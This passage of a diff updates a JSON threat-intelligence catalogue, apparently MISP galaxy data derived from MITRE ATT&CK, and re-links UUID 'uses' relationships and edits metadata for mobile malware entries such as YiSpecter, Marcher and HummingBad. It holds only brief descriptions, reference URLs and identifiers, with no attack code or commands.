"6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -21324,13 +21030,6 @@ ], "type": "uses" }, - { - "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -21339,7 +21038,7 @@ "type": "uses" }, { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21360,7 +21059,7 @@ "type": "uses" }, { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21542,21 +21241,21 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21569,20 +21268,6 @@ ], "type": "uses" }, - { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -21591,7 +21276,7 @@ "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21611,6 +21296,20 @@ ], "type": "uses" }, + { + "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -21619,21 +21318,7 @@ "type": "uses" }, { - "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23869,26 +23554,12 @@ "description": "[YiSpecter](https://attack.mitre.org/software/S0311) iOS malware that affects both jailbroken and non-jailbroken iOS devices. It is also unique because it abuses private APIs in the iOS system to implement functionality. (Citation: PaloAlto-YiSpecter)", "meta": { "external_id": "S0311", - "mitre_platforms": [ - "iOS" - ], "refs": [ "https://attack.mitre.org/software/S0311", "https://researchcenter.paloaltonetworks.com/2015/10/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/" - ], - "synonyms": [ - "YiSpecter" ] }, - "related": [ - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], + "related": [], "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9", "value": "YiSpecter - S0311" }, @@ -23959,49 +23630,28 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "60623164-ccd8-4508-a141-b5a34820b3de", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24015,7 +23665,14 @@ "type": "uses" }, { - "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24035,6 +23692,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -24043,21 +23707,21 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25043,7 +24707,7 @@ }, "related": [ { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25056,13 +24720,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -25264,20 +24921,14 @@ "description": "[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)", "meta": { "external_id": "S0321", - "mitre_platforms": [ - "Android" - ], "refs": [ "http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/", "https://attack.mitre.org/software/S0321" - ], - "synonyms": [ - "HummingWhale" ] }, "related": [ { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25291,15 +24942,10 @@ "description": "[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)", "meta": { "external_id": "S0312", - "mitre_platforms": [ - "iOS" - ], "refs": [ "https://attack.mitre.org/software/S0312", - "https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/" - ], - "synonyms": [ - "WireLurker" + "https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" ] }, "related": [ @@ -25624,14 +25270,21 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25644,13 +25297,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -25658,20 +25304,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -25680,7 +25312,7 @@ "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25693,6 +25325,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -25707,6 +25346,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -25727,13 +25373,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c", @@ -28262,6 +27901,13 @@ ], "type": "uses" }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ @@ -28297,13 +27943,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -28339,13 +27978,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -28402,6 +28034,13 @@ ], "type": "uses" }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ @@ -28423,13 +28062,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ @@ -28522,27 +28154,21 @@ "description": "[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)", "meta": { "external_id": "S0291", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0291", "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" - ], - "synonyms": [ - "PJApps" ] }, "related": [ { - "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28563,27 +28189,21 @@ "description": "[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)", "meta": { "external_id": "S0313", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0313", "https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html" - ], - "synonyms": [ - "RuMMS" ] }, "related": [ { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28602,13 +28222,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "936be60d-90eb-4c36-9247-4b31128432c4", @@ -29382,16 +28995,9 @@ "description": "[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)", "meta": { "external_id": "S0315", - "mitre_platforms": [ - "Android", - "iOS" - ], "refs": [ "https://attack.mitre.org/software/S0315", "https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/" - ], - "synonyms": [ - "DualToy" ] }, "related": [ @@ -30512,34 +30118,21 @@ "description": "[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)", "meta": { "external_id": "S0317", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0317", "https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks" - ], - "synonyms": [ - "Marcher" ] }, "related": [ { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -30818,20 +30411,14 @@ "description": "[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)", "meta": { "external_id": "S0319", - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/software/S0319", "https://thehackernews.com/2016/05/android-kernal-exploit.html" - ], - "synonyms": [ - "Allwinner" ] }, "related": [ { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32730,6 +32317,20 @@ ], "type": "uses" }, + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ @@ -32738,7 +32339,7 @@ "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32751,27 +32352,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -32780,7 +32360,14 @@ "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32808,14 +32395,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33137,42 +32717,21 @@ }, "related": [ { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33622,7 +33181,21 @@ "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33635,13 +33208,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -33663,13 +33229,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -33677,13 +33236,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -33692,7 +33244,7 @@ "type": "uses" }, { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -33712,6 +33264,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -33727,7 +33286,7 @@ "type": "uses" }, { - "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37210,15 +36769,9 @@ "description": "[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)", "meta": { "external_id": "S0322", - "mitre_platforms": [ - "Android" - ], "refs": [ "http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/", "https://attack.mitre.org/software/S0322" - ], - "synonyms": [ - "HummingBad" ] }, "related": [ @@ -37230,7 +36783,7 @@ "type": "uses" }, { - "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", + "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37242,13 +36795,6 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - }, - { - "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "c8770c81-c29f-40d2-a140-38544206b2b4", @@ -37444,6 +36990,13 @@ ], "type": "uses" }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69", "tags": [ @@ -37452,21 +37005,7 @@ "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37486,6 +37025,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -37494,7 +37040,7 @@ "type": "uses" }, { - "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37508,14 +37054,7 @@ "type": "uses" }, { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37528,27 +37067,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", "tags": [ @@ -37556,6 +37074,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -37590,6 +37115,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0522", + "https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks", "https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html" ], "synonyms": [ @@ -37599,28 +37125,28 @@ }, "related": [ { - "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -37634,35 +37160,14 @@ "type": "uses" }, { - "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", - "tags": [ - 